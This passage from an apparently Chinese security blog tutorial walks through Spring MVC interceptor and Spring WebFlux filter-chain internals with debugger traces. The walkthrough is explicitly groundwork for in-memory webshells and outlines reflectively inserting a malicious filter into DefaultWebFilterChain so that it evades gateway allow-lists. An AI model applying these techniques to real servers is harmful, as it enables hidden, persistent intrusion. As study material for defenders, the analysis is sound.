这一下就明了了起来,这不是我们之前提到的九大组件嘛,到这一步就完成了Spring MVC的九大组件的初始化。

2.11.2.2 url和Controller的关系的建立

你可能会有这样的一个疑惑:我们是用@RequestMapping("/")注解在方法上的,那Spring MVC是怎么根据这个注解就把对应的请求和这个方法关联起来的?

从上面的九大组件的初始化中可以看到,有个方法就叫做initHandlerMappings,我们点进去详细看看:

这段代码和自带的注释写的也比较通俗易懂,分为两部分,第一部分是去ApplicationContext(包括ancestor contexts)里面找所有实现了HandlerMappings接口的类,如果找到了至少一个符合条件的HandlerMapping bean,那就把它的值转化为列表,并按照Java的默认排序机制对它们进行排序,最后将排序后的列表赋值给 this.handlerMappings;那如果没有找到,this.handlerMappings就依然保持为null;如果不需要检测所有处理程序映射,那就尝试从ApplicationContext中获取名称为 handlerMappingbean,如果成功获取到了则将其作为单一元素的列表赋值给 this.handlerMappings,如果获取失败了,那也没关系,因为人家注释里面讲的很明白,会添加一个默认的HandlerMapping,这也就是我们要讲的第二部分的代码。

第二部分说的是,如果之前一套操作下来,this.handlerMappings还是为null,那么就调用 getDefaultStrategies 方法去获取默认的HandlerMapping,并将其赋给 this.handlerMappings

这么一看的话,org.springframework.web.servlet.DispatcherServlet#getDefaultStrategies这个方法还是挺关键的,我们点进去看看:

这段代码挺有意思,先是加载资源文件,并将其内容以属性键值对的形式存储在defaultStrategies中;接下来从strategyInterface获取一个名称,然后用这个名称在defaultStrategies中查找相应的值,如果找到了,就将这个值按逗号分隔成类名数组,接着遍历这个类名数组,对于每个类名都执行以下两个操作:①尝试通过ClassUtils.forName方法加载该类 ②使用createDefaultStrategy方法创建该类的实例;最后将创建的策略对象添加到列表strategies中并返回。

那就很好奇了,这段代码中的DEFAULT_STRATEGIES_PATH里面有啥?Ctrl+左键追踪:

原来是一个名叫DispatcherServlet.properties的文件,我们可以在左侧的依赖列表里面很快地翻到它,因为它应该是和DispatcherServlet.java在一块儿的:

从文件内容中,我们可以很快地锁定关键信息:

org.springframework.web.servlet.HandlerMapping=org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping,\
    org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping,\
    org.springframework.web.servlet.function.support.RouterFunctionMapping

也就是说,会有三个值,分别是BeanNameUrlHandlerMappingRequestMappingHandlerMappingRouterFunctionMapping,我们一般用的是第二个,我们点进org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping看一下:

它的父类RequestMappingInfoHandlerMapping的父类AbstractHandlerMethodMapping实现了InitializingBean这个接口,这个接口用于在bean初始化完成后执行一些特定的自定义初始化逻辑。

点进该接口,只有一个afterPropertiesSet方法,关于该方法的用途可以参考https://www.python100.com/html/U711CO7MV79C.html

那我们就看看AbstractHandlerMethodMapping它是具体咋实现InitializingBeanafterPropertiesSet的吧:

重写的也很简单,调用initHandlerMethods这个方法,继续跟踪该方法:

注释里面写的很清楚:扫描ApplicationContext中的bean,然后检测并注册handler methods

我们在org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#initHandlerMethods这里打下断点进行调试,到图中这一步之后step into

我们来看org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#processCandidateBean这个方法的具体逻辑:

这里我们自然很好奇,这个isHandler是判断啥的,我们点进去看看:

可以看到,这里并没有给出实现,说明子类中应该会给出override,于是直接找到了org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping#isHandler

很明显,isHandler是用来检测给定的beanType类是否带有Controller注解或者RequestMapping注解。

解决了这个,继续往后看,后面是调用了detectHandlerMethods这个方法,我们点进去看看:

我们分开来看,首先是这行代码,它是综合起来写的,意思是说,先判断handler是否是字符串类型,如果是,则通过ApplicationContext获取它的类型;否则,直接获取handler的类型。:

Class<?> handlerType = (handler instanceof String ?
            obtainApplicationContext().getType((String) handler) : handler.getClass());

然后是这部分:

Class<?> userType = ClassUtils.getUserClass(handlerType);
Map<Method, T> methods = MethodIntrospector.selectMethods(userType,
        (MethodIntrospector.MetadataLookup<T>) method -> {
            try {
                return getMappingForMethod(method, userType);
            }
            catch (Throwable ex) {
                throw new IllegalStateException("Invalid mapping on handler class [" +
                        userType.getName() + "]: " + method, ex);
            }
        });

先是获取处理器的用户类,用户类是没有经过代理包装的类,这样就可以确保获取到的是实际处理请求的类;然后是这个selectMethods方法,这个方法有两个参数,第一个参数就是用户类,第二个参数是一个回调函数。关键就在于理解这个回调函数的作用。对于每个方法,它会尝试调用getMappingForMethod来获取方法的映射信息。

我们点进这个方法,发现它是一个抽象方法:

那就去看看他的子类中有没有对应的实现,直接定位到org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping#getMappingForMethod

我们在下图所示位置打断点调试:

分开来看,首先是第一行:

RequestMappingInfo info = createRequestMappingInfo(method);

解析Controller类的方法中的注解,生成一个对应的RequestMappingInfo对象。我们可以step into进入org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping#createRequestMappingInfo(java.lang.reflect.AnnotatedElement)方法:

可以看到这个info里面保存了访问该方法的url pattern"/",也就是我们在TestController.java所想要看到的当@RequestMapping("/")时,调用test方法。

继续一步步往下走,可以看到走到了org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#detectHandlerMethods的最后:

直接看lambda表达式里面的内容:

Method invocableMethod = AopUtils.selectInvocableMethod(method, userType);
registerHandlerMethod(handler, invocableMethod, mapping);

意思是,先用selectInvocableMethod方法根据methoduserType选择出一个可调用的方法,这样是为了处理可能存在的代理和AOP的情况,确保获取到的是可直接调用的原始方法;然后把beanMethodRequestMappingInfo注册进MappingRegistry

到这里,urlController之间的关系是如何建立的问题就解决了。

2.11.2.3 Spring Interceptor引入与执行流程分析

我们回顾之前聊到的Controller的思路和下面的4.1节中所展示的Controller内存马,可以考虑到这样一个问题:

随着微服务部署技术的迭代演进,大型业务系统在到达真正的应用服务器的时候,会经过一些系列的网关、复杂均衡以及防火墙等。所以如果你新建的shell路由不在这些网关的白名单中,那么就很有可能无法访问到,在到达应用服务器之前就会被丢弃。我们要达到的目的就是在访问正常的业务地址之前,就能执行我们的代码。所以,在注入java内存马时,尽量不要使用新的路由来专门处理我们注入的webshell逻辑,最好是在每一次请求到达真正的业务逻辑前,都能提前进行我们webshell逻辑的处理。在tomcat容器下,有filterlistener等技术可以达到上述要求。那么在 spring 框架层面下,有办法达到上面所说的效果吗? ——摘编自https://github.com/Y4tacker/JavaSec/blob/main/5.内存马学习/Spring/利用intercetor注入Spring内存马/index.mdhttps://landgrey.me/blog/19/

答案是当然有,这就是我们要讲的Spring InterceptorSpring框架中的一种拦截器机制。

那就不禁要问了:这个Spring Interceptor和我们之前所说的Filter的区别是啥?

参考:https://developer.aliyun.com/article/925400

主要有以下六个方面:

主要区别 拦截器 过滤器
机制 Java反射机制 函数回调
是否依赖Servlet容器 不依赖 依赖
作用范围 action请求起作用 对几乎所有请求起作用
是否可以访问上下文和值栈 可以访问 不能访问
调用次数 可以多次被调用 在容器初始化时只被调用一次
IOC容器中的访问 可以获取IOC容器中的各个bean(基于FactoryBean接口) 不能在IOC容器中获取bean

我们在2.10.2节中给出的TestInterceptor.javapreHandle函数这里下断点,然后访问http://127.0.0.1:8080/?cmd=whoami进入调试:

一步步步入调试之后,发现进入org.springframework.web.servlet.DispatcherServlet#doDispatch方法:

我们在doDispatch方法的第一行下断点,重新访问页面调试:

看到了调用了getHandler这个函数,它的注释写的简单易懂:确定处理当前请求的handler,我们step into看看:

通过遍历当前handlerMapping数组中的handler对象,来判断哪个handler来处理当前的request对象:

继续步入这个函数里面所用到的mapping.getHandler方法,也就是org.springframework.web.servlet.handler.AbstractHandlerMapping#getHandler

代码简单易懂,先是通过getHandlerInternal来获取,如果获取不到,那就调用getDefaultHandler来获取默认的,如果还是获取不到,就直接返回null;然后检查handler是不是一个字符串,如果是,说明可能是一个Bean的名字,这样的话就通过ApplicationContext来获取对应名字的Bean对象,这样就确保 handler 最终会是一个合法的处理器对象;接着检查是否已经有缓存的请求路径,如果没有缓存就调用 initLookupPath(request) 方法来初始化请求路径的查找;最后通过 getHandlerExecutionChain 方法创建一个处理器执行链。

这么看下来,这个getHandlerExecutionChain方法很重要,我们步入看看:

遍历adaptedInterceptors,判断拦截器是否是MappedInterceptor类型,如果是那就看MappedInterceptor是否匹配当前请求,如果匹配则将其实际的拦截器添加到执行链中,如果不是这个类型的那就直接将拦截器添加到执行链中。

再回到之前的getHandler方法中来,看看它的后半段:

主要都是处理跨域资源共享(CORS)的逻辑,只需要知道在涉及CORS的时候把requestexecutionChainCORS配置通过getCorsHandlerExecutionChain调用封装后返回就行了。

一步步执行回到一开始的getHandler中,这里就是调用org.springframework.web.servlet.HandlerExecutionChain#applyPreHandle方法来遍历所有拦截器进行预处理,后面的代码就基本不需要了解了:

2.12 Spring WebFlux介绍与代码调试分析

SpringWebFluxSpring Framework 5.0中引入的新的响应式web框架。传统的Spring MVC在处理请求时是阻塞的,即每个请求都会占用一个线程,如果有大量请求同时到达,就需要大量线程来处理,可能导致资源耗尽。为了解决这个问题,WebFlux引入了非阻塞的响应式编程模型,通过使用异步非阻塞的方式处理请求,能够更高效地支持大量并发请求,提高系统的吞吐量;并且它能够轻松处理长连接和WebSocket,适用于需要保持连接的应用场景,如实时通讯和推送服务;在微服务架构中,服务之间的通信往往需要高效处理,WebFlux可以更好地适应这种异步通信的需求。

关于ReactiveSpring WebFlux的相关知识,可以参考知乎上的这篇文章,讲的通俗易懂,很透彻:

https://zhuanlan.zhihu.com/p/559158740

WebFlux框架开发的接口返回类型必须是Mono<T>或者是Flux<T>。因此我们第一个需要了解的就是什么是Mono以及什么是Flux

2.12.1 什么是Mono?

Mono用来表示包含01个元素的异步序列,它是一种异步的、可组合的、能够处理异步数据流的类型。比方说当我们发起一个异步的数据库查询、网络调用或其他异步操作时,该操作的结果可以包装在Mono中,这样就使得我们可以以响应式的方式处理异步结果,而不是去阻塞线程等待结果返回,就像我们在2.10.3节中的那张gif图中所看到的那样。

下面我们来看看Mono常用的api

API 说明 代码示例
Mono.just(T data) 创建一个包含指定数据的 Mono Mono<String> mono = Mono.just("Hello, Mono!");
Mono.empty() 创建一个空的 Mono Mono<Object> emptyMono = Mono.empty();
Mono.error(Throwable error) 创建一个包含错误的 Mono Mono<Object> errorMono = Mono.error(new RuntimeException("Something went wrong"));
Mono.fromCallable(Callable<T> supplier) 从 Callable 创建 Mono,表示可能抛出异常的异步操作。 Mono<String> resultMono = Mono.fromCallable(() -> expensiveOperation());
Mono.fromRunnable(Runnable runnable) 从 Runnable 创建 Mono,表示没有返回值的异步操作。 Mono<Void> runnableMono = Mono.fromRunnable(() -> performAsyncTask());
Mono.delay(Duration delay) 在指定的延迟后创建一个空的 Mono Mono<Object> delayedMono = Mono.delay(Duration.ofSeconds(2)).then(Mono.just("Delayed Result"));
Mono.defer(Supplier<? extends Mono<? extends T>> supplier) 延迟创建 Mono,直到订阅时才调用供应商方法。 Mono<String> deferredMono = Mono.defer(() -> Mono.just("Deferred Result"));
Mono.whenDelayError(Iterable<? extends Mono<? extends T>> monos) 将一组 Mono 合并为一个 Mono,当其中一个出错时,继续等待其他的完成。 Mono<String> resultMono = Mono.whenDelayError(Arrays.asList(mono1, mono2, mono3));
Mono.map(Function<? super T, ? extends V> transformer) Mono 中的元素进行映射。 Mono<Integer> resultMono = mono.map(s -> s.length());
Mono.flatMap(Function<? super T, ? extends Mono<? extends V>> transformer) Mono 中的元素进行异步映射。 Mono<Integer> resultMono = mono.flatMap(s -> Mono.just(s.length()));
Mono.filter(Predicate<? super T> tester) 过滤 Mono 中的元素。 Mono<String> filteredMono = mono.filter(s -> s.length() > 5);
Mono.defaultIfEmpty(T defaultVal) 如果 Mono 为空,则使用默认值。 Mono<String> resultMono = mono.defaultIfEmpty("Default Value");
Mono.onErrorResume(Function<? super Throwable, ? extends Mono<? extends T>> fallback) 在发生错误时提供一个备用的 Mono Mono<String> resultMono = mono.onErrorResume(e -> Mono.just("Fallback Value"));
Mono.doOnNext(Consumer<? super T> consumer) 在成功时执行操作,但不更改元素。 Mono<String> resultMono = mono.doOnNext(s -> System.out.println("Received: " + s));
Mono.doOnError(Consumer<? super Throwable> onError) 在发生错误时执行操作。 Mono<String> resultMono = mono.doOnError(e -> System.err.println("Error: " + e.getMessage()));
Mono.doFinally(Consumer<SignalType> action) 无论成功还是出错都执行操作。 Mono<String> resultMono = mono.doFinally(signal -> System.out.println("Processing finished: " + signal));

2.12.2 什么是Flux?

Flux表示的是0N个元素的异步序列,可以以异步的方式按照时间的推移逐个或一批一批地publish元素。也就是说,Flux允许在处理元素的过程中,不必等待所有元素都准备好,而是可以在它们准备好的时候立即推送给订阅者。这种异步的推送方式使得程序可以更灵活地处理元素的生成和消费,而不会阻塞执行线程。

下面是Flux常用的api

API 说明 代码示例
Flux.just 创建包含指定元素的Flux Flux<String> flux = Flux.just("A", "B", "C");
Flux.fromIterable Iterable创建Flux List<String> list = Arrays.asList("A", "B", "C");
Flux<String> flux = Flux.fromIterable(list);
Flux.fromArray 从数组创建Flux String[] array = {"A", "B", "C"};
Flux<String> flux = Flux.fromArray(array);
Flux.empty 创建一个空的Flux Flux<Object> emptyFlux = Flux.empty();
Flux.error 创建一个包含错误的Flux Flux<Object> errorFlux = Flux.error(new RuntimeException("Something went wrong"));
Flux.range 创建包含指定范围的整数序列的Flux Flux<Integer> rangeFlux = Flux.range(1, 5);
Flux.interval 创建包含定期间隔的元素的Flux Flux<Long> intervalFlux = Flux.interval(Duration.ofSeconds(1)).take(5);
Flux.merge 合并多个Flux,按照时间顺序交织元素 Flux<String> flux1 = Flux.just("A", "B");
Flux<String> flux2 = Flux.just("C", "D");
Flux<String> mergedFlux = Flux.merge(flux1, flux2);
Flux.concat 连接多个Flux,按照顺序发布元素 Flux<String> flux1 = Flux.just("A", "B");
Flux<String> flux2 = Flux.just("C", "D");
Flux<String> concatenatedFlux = Flux.concat(flux1, flux2);
Flux.zip 将多个Flux的元素进行配对,生成Tuple Flux<String> flux1 = Flux.just("A", "B");
Flux<String> flux2 = Flux.just("1", "2");
Flux<Tuple2<String, String>> zippedFlux = Flux.zip(flux1, flux2);
Flux.filter 过滤满足条件的元素 Flux<Integer> numbers = Flux.range(1, 5);
Flux<Integer> filteredFlux = numbers.filter(n -> n % 2 == 0);
Flux.map 转换每个元素的值 Flux<String> words = Flux.just("apple", "banana", "cherry");
Flux<Integer> wordLengths = words.map(String::length);
Flux.flatMap 将每个元素映射到一个Flux,并将结果平铺 Flux<String> letters = Flux.just("A", "B", "C");
Flux<String> flatMappedFlux = letters.flatMap(letter -> Flux.just(letter, letter.toLowerCase()));

2.12.3 Spring WebFlux启动过程分析

本来是想先用文字聊一堆关于Spring MVCSpring WebFlux之间的区别的,但是这个已经被网上现有的不多的关于WebFlux的文章讲烂了,大家随便搜都可以搜到,皮毛性的东西纯属浪费时间,于是我们直接看代码,去深挖WebFlux的调用过程,从中我们自然可以发现这两者在调用过程中的类似和不同的地方。

我们直接在run方法这里下断点,然后直接step into

一步步地step over之后,我们可以看到调用了org.springframework.boot.SpringApplication#createApplicationContext这个方法(前面的那些方法并不重要,直接略过就行):

这个方法光听名字createApplicationContext,就感觉很重要,因为字面意思就是创建ApplicationContext,这正是我们感兴趣的内容,我们step into进去看看:

可以看到,是根据不同的webApplicationType去选择创建不同的context,比如我们这里的webApplicationType就是REACTIVE,也就是响应式的。

我们step into这里的create方法:

发现里面有两个静态方法、一个create方法和一个默认实现 DEFAULT,这个默认实现通过加载 ApplicationContextFactory 的所有候选实现,创建相应的上下文;如果没有找到合适的实现,则默认返回一个 AnnotationConfigApplicationContext 实例。

我们继续step over走下去,可以看到我们REACTIVE对应的contextAnnotationConfigReactiveWebServerApplicationContext

继续往下走,我们会回到一开始这里,可以看到接下来会调用prepareContextrefreshContextafterRefresh方法,这个过程就是一系列的初始化、监听的注册等操作:

我们step into这里的refreshContext方法:

接着step into这里的refresh方法:

进来之后,接着step into这里的refresh方法:

可以看到,这里调用了一个super.refresh,也就是父类的refresh方法:

我们继续step into查看,发现这里调用了onRefresh方法:

我们step into这里的onRefresh,发现它调用了关键的org.springframework.boot.web.reactive.context.ReactiveWebServerApplicationContext#createWebServer

继续step over可以看到,由于我们使用的是Netty而不是Tomcat,因此这里最终会调用NettyReactiveWebServerFactory类中的getWebServer方法:

而上图中的WebServerManager类也是一个重要的封装类,里面有两个成员变量,一个是底层服务器的抽象WebServer,另一个是上层方法处理者的抽象DelayedInitializationHttpHandler

那这个webserver具体是怎么启动的呢?我们继续走到finishRefresh这个方法这里来,如果这里我们直接无脑step over,程序最终会回到run方法,说明,启动webserver的地方肯定就在这个finishRefresh方法里面:

我们step into进去看看:

接着step into去看看这里调用的getLifecycleProcessor().onRefresh()方法,发现调用了startBeans方法,并且设置了自启动:

我们直接step into这个startBeans方法,一步步地step over过后,会发现调用了start方法,看来我们在逐渐逼近真相:

我们继续step into这个start方法,发现调用了org.springframework.context.support.DefaultLifecycleProcessor#doStart这个方法:

直接step into进去看看,发现由于dependenciesForBean为[],所以没有调用doStart方法,直接就是调用bean.start()

继续step into这个start方法看看:

怎么会啥也没有呢?奇了怪了,到底是哪里出了问题了呢?我在这一步愣住了,决定把之前打的断点取消,在如下俩图所示的位置打上断点重新调试,因为这两个方法是关键方法:

调试了几遍之后发现是我疏忽了,这里的this.lifecycleBeans里面其实有三个,每调用一次doStart方法就会删掉一个:

可以看到,我们刚才调用的是第一个bean的,所以当然没有启动webserver相关的方法了:

我们一步步step over,当memeber.namewebServerStartStop时,我们再step into这个doStart方法里面的bean.start()

即可看到this.weServerManager.start()

我们继续step into这个start方法:

仔细看看上面红框中的代码,先是初始化HttpHandler,这个方法其实根据lazyInit的值的不同来决定何时初始化,如果lazyInit值为true,那么就等第一次请求到来时才真正初始化;如果为false,那么就在 WebServerManagerstart 方法中调用 initializeHandler 直接初始化:

我们继续步入这里的start方法,发现其位置为org.springframework.boot.web.embedded.netty.NettyWebServer#start

到这里才算真正明了,真正的webServer启动的关键方法是org.springframework.boot.web.embedded.netty.NettyWebServer#startHttpServer

从下面的this.webServer中也可以看到,绑定的是0.0.0.0:9191

2.12.4 Spring WebFlux请求处理过程分析

当一个请求过来的时候,Spring WebFlux是如何进行处理的呢?

这里我们在org.example.webfluxmemoryshelldemo.hello.GreetingHandler#hello这里打上断点,然后进行调试,访问http://127.0.0.1:9191/hello触发debug

一步步地step over后来到org.springframework.web.reactive.DispatcherHandler#invokeHandler

step into之后可以看到是org.springframework.web.reactive.DispatcherHandler#handle

解释上面代码中的return部分,首先检查handlerMappings是否为null,如果是,那就调用createNotFoundError方法返回一个表示未找到处理程序的Mono;接着通过CorsUtils.isPreFlightRequest方法检查是否为预检请求,如果是,那就调用handlePreFlight方法处理预检请求,如果不是预检请求且handlerMappings不为null,通过一系列的操作,获取到请求的handler,然后调用invokeHandler方法执行处理程序,再调用handleResult方法处理执行结果,最终返回一个表示处理完成的Mono

左下角的Threads & Variables这里,我们往下翻,可以看到在此之前是调用了一个org.springframework.web.reactive.handler.AbstractHandlerMapping#getHandler

我们把之前的断点去掉,然后在该函数这里打上断点:

发现调用了org.springframework.web.reactive.handler.AbstractHandlerMapping#getHandlerInternal,我们再回去看,发现调用位置在org.springframework.web.reactive.function.server.support.RouterFunctionMapping#getHandlerInternal

点击去:

这里最终创建的是DefaultServerRequest对象,需要注意的是在创建该对象时将RouterFunctionMapping中保存的HttpMessageReader列表作为参数传入,这样DefaultServerRequest对象就有了解析参数的能力。

回到getHandlerInternal这个函数,看它的return里面的匿名函数,发现其调用了org.springframework.web.reactive.function.server.RouterFunction#route,我们点进去看看:

发现只是在接口中定义了下:

于是去翻之前的Threads & Variables

首先调用this.predicate.test方法来判断传入的ServerRequest是否符合路由要求,如果匹配到了处理方法,那就将保存的HandlerFunction实现返回,否则就返回空的Mono

点进去这个test方法,发现还是个接口,结合之前的RouterFunction.javaRouterFunctions.java的命名规则,合理猜测test方法的实现应该是在RequestPredicates.java里面。果然是有的,我们取消之前下的所有断点,在test函数这里重新打上断点后调试:

可以看到这里已经拿到了pattern,那就还差解析request里面的GET这个方法了:

我们继续step over,发现直接跳到了这里,我当时就挺纳闷儿,这里的this.leftthis.right怎么就已知了:

这俩变量已知说明在执行test之前肯定是已经被赋值了,我继续往后step over,从下图中可以看到,此时二者之间多了个&&,不难猜测,应该是调用了org.springframework.web.reactive.function.server.RequestPredicates.AndRequestPredicate方法,因为还有一个OrRequestPredicate,这个or的话应该就是||了:

于是我们再在AndRequestPredicate方法这打上断点,此时我们还没有访问http://127.0.0.1:9191/hello,就已经触发调试了,这是因为我们在GreetingRouter.java里面写的代码中有GET方法、/hello路由还有and方法,因此会调用到AndRequestPredicate,并把GET/hello分别复制给this.leftthis.right

到这里,我们基本就了解了路由匹配这么个事情。接下来我们要考虑的事情就是如何处理请求,这个就比较简单了,为什么这么说呢?因为在我们2.12.3节中的分析中已经基本涉及到了。我们还是在org.springframework.web.reactive.DispatcherHandler#invokeHandler打下断点调试:

可以看到,这里的this.handlerAdapters里面有四个handlerAdapter

并不是所有的handlerAdapter都会触发handle方法,只有当支持我们给定的handlerhandlerAdapter才可以调用:

然后我们step into这里的handlerAdapter.handle方法,发现是在org.springframework.web.reactive.function.server.support.HandlerFunctionAdapter#handle

而这里的handlerFunction.handle也就是我们编写的route方法:

到这里,关于处理请求的部分也就完结了。

2.12.5 Spring WebFlux过滤器WebFilter运行过程分析

对于Spring WebFlux而言,由于没有拦截器和监听器这个概念,要想实现权限验证和访问控制的话,就得使用Filter,关于这一部分知识可以参考Spring的官方文档:

https://docs.spring.io/spring-security/reference/reactive/configuration/webflux.html

而在Spring Webflux中,存在两种类型的过滤器:一个是WebFilter,实现自org.springframework.web.server.WebFilter接口。通过实现这个接口,可以定义全局的过滤器,它可以在请求被路由到handler之前或者之后执行一些逻辑;另一个就是HandlerFilterFunction,它是一种函数式编程的过滤器类型,实现自org.springframework.web.reactive.function.server.HandlerFilterFunction接口,与WebFilter相比它更加注重函数式编程的风格,可以用于处理基于路由的过滤逻辑。

这里我们以WebFilter为例,看看它的运行过程。新建一个GreetingFilter.java,代码如下:

package org.example.webfluxmemoryshelldemo.hello;

import org.springframework.http.server.reactive.ServerHttpRequest;
import org.springframework.stereotype.Component;
import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain;
import org.springframework.web.util.pattern.PathPattern;
import org.springframework.web.util.pattern.PathPatternParser;
import reactor.core.publisher.Mono;

@Component
public class GreetingFilter implements WebFilter {
    @Override
    public Mono<Void> filter(ServerWebExchange serverWebExchange, WebFilterChain webFilterChain) {
        PathPattern pattern=new PathPatternParser().parse("/hello/**");
        ServerHttpRequest request=serverWebExchange.getRequest();
        if (pattern.matches(request.getPath().pathWithinApplication())){
            System.out.println("hello, this is our filter!");
        }
        return webFilterChain.filter(serverWebExchange);
    }
}

效果如下:

我们直接在filter函数这里下断点,进行调试:

注意到return中调用了filter函数,于是step into看看:

可以看到是调用了invokeFilter函数。我们仔细看看这个DefaultWebFilterChain类:

可以看到是有三个名为DefaultWebFilterChain的函数,其中第一个是公共构造函数,第二个是私有构造函数(用来创建chain的中间节点),第三个是已经过时的构造函数。而在该类的注释中,有这样一句话:

Each instance of this class represents one link in the chain. The public constructor DefaultWebFilterChain(WebHandler, List) initializes the full chain and represents its first link.

也就是说,通过调用 DefaultWebFilterChain 类的公共构造函数,我们初始化了一个完整的过滤器链,其中的每个实例都代表链中的一个link,而不是一个chain,这就意味着我们无法通过修改下图中的chain.allFilters来实现新增Filter

但是这个类里面有个initChain方法用来初始化过滤器链,这个方法里面调用的是这个私有构造方法:

那我们就看看这个公共构造方法是在哪里调用的:

光标移至该方法,按两下Ctrl+Alt+F7

调用的地方位于org.springframework.web.server.handler.FilteringWebHandler#FilteringWebHandler

那思路就来了,我们只需要构造一个DefaultWebFilterChain对象,,然后把它通过反射写入到FilteringWebHandler类对象的chain属性中就可以了。

那现在就剩下传入handlerfilters这两个参数了,这个handler参数很好搞,就在chain里面:

然后这个filters的话,我们可以先获取到它本来的filters,然后把我们自己写的恶意filter放进去,放到第一位,就可以了。

那现在就是从内存中找到DefaultWebFilterChain的位置,然后一步步反射就行。这里直接使用工具https://github.com/c0ny1/java-object-searcher,克隆下来该项目,放到ideamvn clean install

然后把生成的这个java-object-searcher-0.1.0.jar放到我们的WebFluxMemoryShellDemo项目的Project Structure中的Libraries中:

然后我们把我们的GreetingFilter.java的代码修改成下面的:

package org.example.webfluxmemoryshelldemo.hello;

import org.springframework.http.server.reactive.ServerHttpRequest;
import org.springframework.stereotype.Component;
import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain;
import org.springframework.web.util.pattern.PathPattern;
import org.springframework.web.util.pattern.PathPatternParser;
import reactor.core.publisher.Mono;

import me.gv7.tools.josearcher.entity.Blacklist;
import me.gv7.tools.josearcher.entity.Keyword;
import me.gv7.tools.josearcher.searcher.SearchRequstByBFS;
import java.util.ArrayList;
import java.util.List;

@Component
public class GreetingFilter implements WebFilter {
    @Override
    public Mono<Void> filter(ServerWebExchange serverWebExchange, WebFilterChain webFilterChain) {
        PathPattern pattern=new PathPatternParser().parse("/hello/**");
        ServerHttpRequest request=serverWebExchange.getRequest();
        if (pattern.matches(request.getPath().pathWithinApplication())){
            System.out.println("hello, this is our GreetingFilter!");
        }
        List<Keyword> keys = new ArrayList<>();
        keys.add(new Keyword.Builder().setField_type("DefaultWebFilterChain").build());
        List<Blacklist> blacklists = new ArrayList<>();
        blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
        SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
        searcher.setBlacklists(blacklists);
        searcher.setIs_debug(true);
        searcher.setMax_search_depth(10);
        searcher.setReport_save_path("D:\\javaSecEnv\\apache-tomcat-9.0.85\\bin");
        searcher.searchObject();
        return webFilterChain.filter(serverWebExchange);
    }
}

这里我们设置的关键字是DefaultWebFilterChain,然后直接运行:

也就是说,位置是在:

TargetObject = {reactor.netty.resources.DefaultLoopResources$EventLoop} 
  ---> group = {java.lang.ThreadGroup} 
   ---> threads = {class [Ljava.lang.Thread;} 
    ---> [3] = {org.springframework.boot.web.embedded.netty.NettyWebServer$1} 
     ---> this$0 = {org.springframework.boot.web.embedded.netty.NettyWebServer} 
      ---> handler = {org.springframework.http.server.reactive.ReactorHttpHandlerAdapter} 
       ---> httpHandler = {org.springframework.boot.web.reactive.context.WebServerManager$DelayedInitializationHttpHandler} 
        ---> delegate = {org.springframework.web.server.adapter.HttpWebHandlerAdapter} 
         ---> delegate = {org.springframework.web.server.handler.ExceptionHandlingWebHandler} 
           ---> delegate = {org.springframework.web.server.handler.FilteringWebHandler} 
            ---> chain = {org.springframework.web.server.handler.DefaultWebFilterChain}
0 条评论
某人
表情
可输入 255